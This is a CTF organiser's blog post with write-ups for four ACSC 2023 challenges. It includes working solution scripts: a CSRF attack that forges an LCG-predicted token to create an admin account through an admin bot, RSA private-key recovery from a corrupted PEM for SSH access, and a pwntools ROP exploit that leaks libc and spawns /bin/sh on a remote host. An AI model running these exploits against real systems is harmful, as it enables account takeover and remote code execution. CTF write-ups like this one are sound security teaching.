ACSC 2023 qualifier just ended last week and I’m glad to be one of the orgainizer team! Here are the writeups for my challenges

Challenges

Admin Dashboard

Admin dashboard is about exploiting the CSRF bug, users can report any URL to admin and the admin bot will view it.

But got abit of twist and turn, I put the session cookie Httponly and Lax therefore POST method CSRF will not work. Then I purposely code the addadmin.php using $_REQUEST so it will accept any request method

Also put a LCG to generate the CSRF token, only need 3 different token then you can find the A (multiplier) and C (increment)

My initial solution script is to use ngrok to host your server, but I realised no need a public server also possible (just submit the link to admin because GET method http://localhost/addadmin?username=pwn&password=464b833b05cc1c33402f6bfb8a41e14b&csrf-token=token)

My solution script:

import requests
import re
import time
from Crypto.Util.number import *
s = requests.Session()
params = {
	"username":"test",
	"password":"test"
}
s.get("http://admin-dashboard.chal.ctf.acsc.asia/register",params=params)
s.get("http://admin-dashboard.chal.ctf.acsc.asia/login",params=params)
r = s.get("http://admin-dashboard.chal.ctf.acsc.asia/addadmin")
# Get the 3 different token
x0 = int(re.findall('value\="(.*)"',r.text)[0],16)
time.sleep(30)
r = s.get("http://admin-dashboard.chal.ctf.acsc.asia/addadmin")
x1 = int(re.findall('value\="(.*)"',r.text)[0],16)
time.sleep(30)
r = s.get("http://admin-dashboard.chal.ctf.acsc.asia/addadmin")
x2 = int(re.findall('value\="(.*)"',r.text)[0],16)

print(hex(x0),hex(x1),hex(x2))
# Calculate the value of A and C to crack the LCG
m = 0xc4f3b4b3deadbeef1337c0dedeadc0dd
a = (x2-x1)* inverse(x1-x0,m) % m
c = x1-a*x0%m
X = [bytes_to_long(b'admin')]
for i in range(10):
	X.append((a*X[i]+c)%m)
# Calculate the admin's token
print(hex(X[1]))

open("test.html",'w').write(f'<script>document.location="http://localhost/addadmin?username=pwn&password=464b833b05cc1c33402f6bfb8a41e14b&csrf-token={hex(X[1])[2:]}";</script>')
# Host it with python http server and open public url with ngrok
data = {
	"url":"http://a0aa-14-192-209-105.ngrok.io/test.html"
}
r = s.post("http://admin-dashboard.chal.ctf.acsc.asia/report",data=data)
while "Admin will view the URL shortly!" not in r.text:
	r = s.post("http://admin-dashboard.chal.ctf.acsc.asia/report",data=data)

# If the csrf attack success, will create an admin acc pwn
s = requests.Session()
params = {
	"username":"pwn",
	"password":"464b833b05cc1c33402f6bfb8a41e14b"
}
s.get("http://admin-dashboard.chal.ctf.acsc.asia/login",params=params)
# Login and get the flag
r = s.get("http://admin-dashboard.chal.ctf.acsc.asia/")
print(re.findall('ACSC{.*}',r.text)[0])

Many people complain about the server keep down, actually it’s my fault because I set resource limit at docker compose file

Flag

ACSC{C$rF_15_3VerYwh3Re!}

Merkle Hellman

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def gcd(a, b): 
    if a == 0: 
        return b 
    return gcd(b % a, a) 

flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
    num = random.randint(s+1,s+256)
    w.append(num)
    s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
    r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
    b.append((i * r) % q)

# Encrypting
c = []
for f in flag:
    s = 0
    for i in range(7):
        if f & (64>>i):
            s += b[i]
    c.append(s)

print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

I actually refer this challenge from wikipedia

The intended solution is need to brute force r (from 100 to q) and implement the decryption function from wikipedia

My solution script:

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def gcd(a, b): 
    if a == 0: 
        return b 
    return gcd(b % a, a) 

w,q = [184, 332, 713, 1255, 2688, 5243, 10448], 20910
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

for r in range(100,q):
    cond = []
    if gcd(r,q) == 1:
        r_inv = modinv(r,q)
        
        m = ['' for i in range(len(c))]
        for index,c_i in enumerate(c):
            c_inv = (c_i * r_inv) % q
            for w_i in w[::-1]:
                if w_i <= c_inv:
                    c_inv -= w_i
                    m[index] = '1'+m[index]
                else:
                    m[index] = '0'+m[index]
            cond.append(c_inv == 0)
        if all(cond):
            print(''.join([chr(int(i,2)) for i in m]))
            break

Flag

ACSC{E4zY_P3@zy}

Corrupted

This challenge is inspired from my previous challenge also called Corrupted. Instead of corrupt line by line I corrupt it byte by byte

The challenge is the hardest challenge I ever made, so is normal if you cannot solve it. I actually surprise it got 9 solves

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn+8Rj11c2JOgyf6s1Hiiwt553hw9+oGcd1EGo8H5tJOEiUnP
NixaIGMK1O7CU7+IEe43PJcGPPkCti2kz5qAXAyXXBMAlHF46spmQaQFpVRRVMZD
1yInh0QXEjgBBFZKaH3VLh9FpCKYpfqij+OlphoSHlfc7l2Wfct40TDFg13WdpVB
BseCEmaY/b+kxwdfVe7Dzt8kd2ASPuNbOqKvv8ijTgiqpsX5uinjvr/3/srINm8X
xpANqO/eSXP8kO4abOJtyfg2bWvO9QvQRaUIjnYioAkyiqcttbzGIekCfktlA+Rn
JLL19tEG43hubOZAwqGDxvXfKEKx9E2Yx4Da/wIDAQA?AoI?????8S??Om/???xN
3c??0?/G?OO?aQWQB??ECCi??KD?w??2mFc??pTM?r?rX??X+XFW??Rtw?o?d????ZQ?yp?mczG?q2?0O???1o3?Jt?8?+00s?SY+??MG??7d??7k??o?????ci?K??????wK??Y??gqV????9????YA?Hh5T????ICP+?3HTU?l???m0y?6??2???b2x???????+7??T????????n?7????b?P??iL?/???tq???5jLuy??lX?d?ZEO?7???ld???g
?r?rK??IYA???0???zYCIZt2S???cP??W????f???l5?3c+??UkJr4E?QH??PiiD
WLB???f5A?G?A???????????u???3?K???????I???S?????????J?p?3?N?W???
????r???????8???o???m?????8?s???1?4?l?T?3?j?y?6?F?c?g?3?A?8?S?1?
X?o?D?C?+?7?F?V?U?1?f?K?a?F?7?S?b?V?/?v?5?1?V?A?5?G?y?X?AoGB?L?i
?2?C?t?W?s?Z?h?L?t?3?r?d?M?s?U?E?L?P?n?2?U?G?M?g?D?u?E?s?a?h?K?m
?9?/?n?o?J?8?e?9?9?k?N?2?l?T?8?k?b?e?j?n?Q?u?z?z?e?A?S?6?0?w?5?0
?B?V?i?s?R?W?6?Y?6?u?l?s?G?c?Q?2?Q?w?U?l??GA??V?f???kVYfl???WyY?
3J?2fF?h/???UqfpeO???o?k?9kF??a8L?V?w??????J??9?iP????D???JSx??g??IUC0??t7???I??c??????eh/No?????y8???0?E+??1?JC?Oj??HFy??2T?1nV??HH?+???+??s?L?o??K?zc?????BhB2A?????E??b???e?f??KruaZ??u?tp?Tq?c?t?????iQ1qS??h??m?S?/????FDu3i?p???S??Q?o??0s?e0?n?Hv??C?CnM?/Dw
m9?????uC?Ktm????D?e????h7?A??V??O??5/XsY??Y?A???????q?y?gk?Pbq?
????MQK?gQ??SQ?????ERjLp?N??A??P?So?TPE??WWG???lK?Q????o?aztnUT?
eKe4+h0?VkuB?b?v?7ge?nK1??Jy7?y??9??????BP??gG?kKK?y?Z???yES4i??
?Uhc?p????c4ln?m?r???P??C?8?X?d??TP??k??B?dwjN7??ui?K????????-?N? ?S? ?RI?A?? KE?-???-

After you parse all the values from the file you will get N and random bits of p and q

You will notice the half p and q bits is arranged in a pattern like this:

p = A_A_A_A_A_A...
q = _A_A_A_A_A_...

Then we can use this rule \(N \equiv pq \mod 2^i\) to slowly recover the missing bits from LSB, can refer to this paper for the details of how to recover from random bits of p and q

My solution script to recover the missing bits:

import base64
from Crypto.PublicKey import RSA
import subprocess
text = open("../challenge/corrupted.pem","r").read()

# Get N
text = text[32:-30]
tmp = text[:(65*5)+40].replace('?','').replace('\n','')
n = int(base64.b64decode(tmp).hex()[24:-4],16)
print(hex(n))

# Get bits of p,q
text = text[715:-512]
text = text[:64] + text[65:65+64] + text[65+65:65+65+64] + text[65*3:(65*3)+64] + text[65*4:(65*4)+64] + text[65*5:(65*5)+64]
print(text[12:172+12])
print(text[12+176:-24])
# Replace unknown bytes with 'A'
text = text.replace('?','A')
p = base64.b64decode(text[12:172+12]).hex()
q = base64.b64decode(text[12+176:-24]).hex()
print(p)
print(q)

p = int(p,16)
q = int(q,16)

# Recover p and q start from LSB
# Using the formula N=pq mod 2^i
for t in range(89):
    if t % 2:
        for i in range(1+(t*6),1+((t+1)*6)):
            for j in range(0,2):
                temp = q|(j*2**(i-1))
                if (p * temp) % 2**i == n % 2**i:
                    q = temp
    else:
        for i in range(1+(t*6),1+((t+1)*6)):
            for j in range(0,2):
                temp = p|(j*2**(i-1))
                # print(bin(temp%2**6))
                if (q * temp) % 2**i == n % 2**i:
                    p = temp
# Recovered 534bits of p,q (89*6bits)
print(hex(p%2**534))
print(hex(q%2**534))

After recovered you should get 534 bits of both factors, then you can use coppersmith method to recover the upperbits of one factor! Using the formula \(f(x) = 2^{534}x + a\) to find the small root x (upperbits)

My sage script to recover the upperbits (need to adjust epsilon a little because of \(2^{490} <= \frac{1}{2}n^{\beta^{2}-\epsilon}\) writeup reference)

import sys
n = int(sys.argv[1],16)
p = int(sys.argv[2],16)
a = p % 2^534
PR.<x> = PolynomialRing(Zmod(n))
f = ((2^534)*x + a)
f = f.monic()
root = f.small_roots(beta=0.5, epsilon=0.01)[0]
p = int(root) << 534 | a
q = n//p
assert(n==p*q)
print(hex(p)[2:],hex(q)[2:])

Then finally can convert the keys into a private key then can use it the SSH into the server!

# Pass the n,p to sage script to calculate the small roots (coppersmith)
output = subprocess.check_output(['sage','solve.sage',hex(n)[2:],hex(p)[2:]])
p,q = output.split() 
p = int(p,16)
q = int(q,16)
phi = (p-1)*(q-1)
e = 65537
d = pow(e,-1, phi)
# print(n,e,d,p,q)
# Generate private file for ssh
key = RSA.construct((n,e,d,p,q))
pem = key.export_key('PEM')
print(pem.decode())
open("private.pem","wb").write(pem)

Flag

ACSC{R3c0vEr_F4ctOr5_fROm_Kn0wn_b17$s!}

Other amazing writeups


Vaccine

Vaccine is a pwn challenge which need to exploit buffer overflow and ROP. I designed it to trick the beginner player (Can’t trick advance player)

The original source code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
    FILE* f = fopen("RNA.txt","r");
    char rna[100];
    char input[100];
    fgets(rna,100,f);

    printf("Give me vaccine: ");
    fflush(stdout);
    scanf("%s",input);

    for (int i = 0; i < strlen(input); ++i)
    {
        if(input[i] != 'A' && input[i] != 'C' && input[i] != 'G' && input[i] != 'T'){
            puts("Only DNA codes allowed!");
            exit(0);
        }
    }

    if(strcmp(rna,input) == 0){
        puts("Congrats! You give the correct vaccine!");
        FILE* f = fopen("secret.txt","r");
        char flag[100];
        fgets(flag,100,f);
        printf("Here is your reward: %s\n",flag);
    }else{
        puts("Oops.. Try again later");
        exit(0);
    }
    return 0;
}

We can bypass the DNA code check with NULL bytes, because of strlen. The strcmp(rna,input) we can bypass by overflow the input variable to rna variable because of scanf("%s",input);

After that you will notice the secret.txt is not the flag!

As you can see, using scanf("%s",input); is vulnerable to buffer overflow. But need in order to overflow the instruction pointer we need to bypass the strcmp function to return 0

Therefore you need to craft the payload something like this to make ROP (Return Oriented Programming) possible:

"A\x00" + padding + "A\x00" + padding + ROP

My solution script:

from pwn import *
context.arch= "amd64"
elf = ELF("./vaccine")
libc = ELF("./libc-2.31.so")
system_offset = libc.symbols['printf'] - libc.symbols['system']
binsh_offset = libc.symbols['printf'] - next(libc.search(b"/bin/sh"))
puts = elf.symbols['puts']
printf_got = elf.symbols['got.printf']

pop_rdi = 0x401443
ret = 0x40101a

# p = elf.process()
p = remote("vaccine.chal.ctf.acsc.asia",1337)
# Leak printf libc address and return to main
payload = p64(pop_rdi) + p64(printf_got) + p64(puts) + p64(elf.symbols['main'])

p.sendlineafter("Give me vaccine: ",b'A\x00'+b'P'*(98+12)+b'A\x00'+b'P'*(264-114)+payload)
p.recvuntil("your flag is in another castle\n")

# Calculate system and binsh libc address
printf_libc = u64(p.recvline()[:-1]+b'\x00\x00')
system = printf_libc - system_offset
binsh = printf_libc - binsh_offset
print(hex(printf_libc),hex(system),hex(binsh))

# Execute system("/bin/sh")
payload = p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendlineafter("Give me vaccine:",b'A\x00'+b'P'*(98+12)+b'A\x00'+b'P'*(264-114)+payload)
p.interactive()

Flag

ACSC{RoP_3@zy_Pe4$y}

Conclusion

It was a good experience to become part of a big competition like this, many peoeple ask about my challenge Admin Dashboard because the mysql service keep crashing. I made a mistake in the docker compose file shouldn’t set the resource limit. Also saw some players don’t like the challenge Corrupted maybe I made it too hard? Anyway congrats to all the winners especially mechfrog88 (Top 1 in Malaysia), can see his writeup here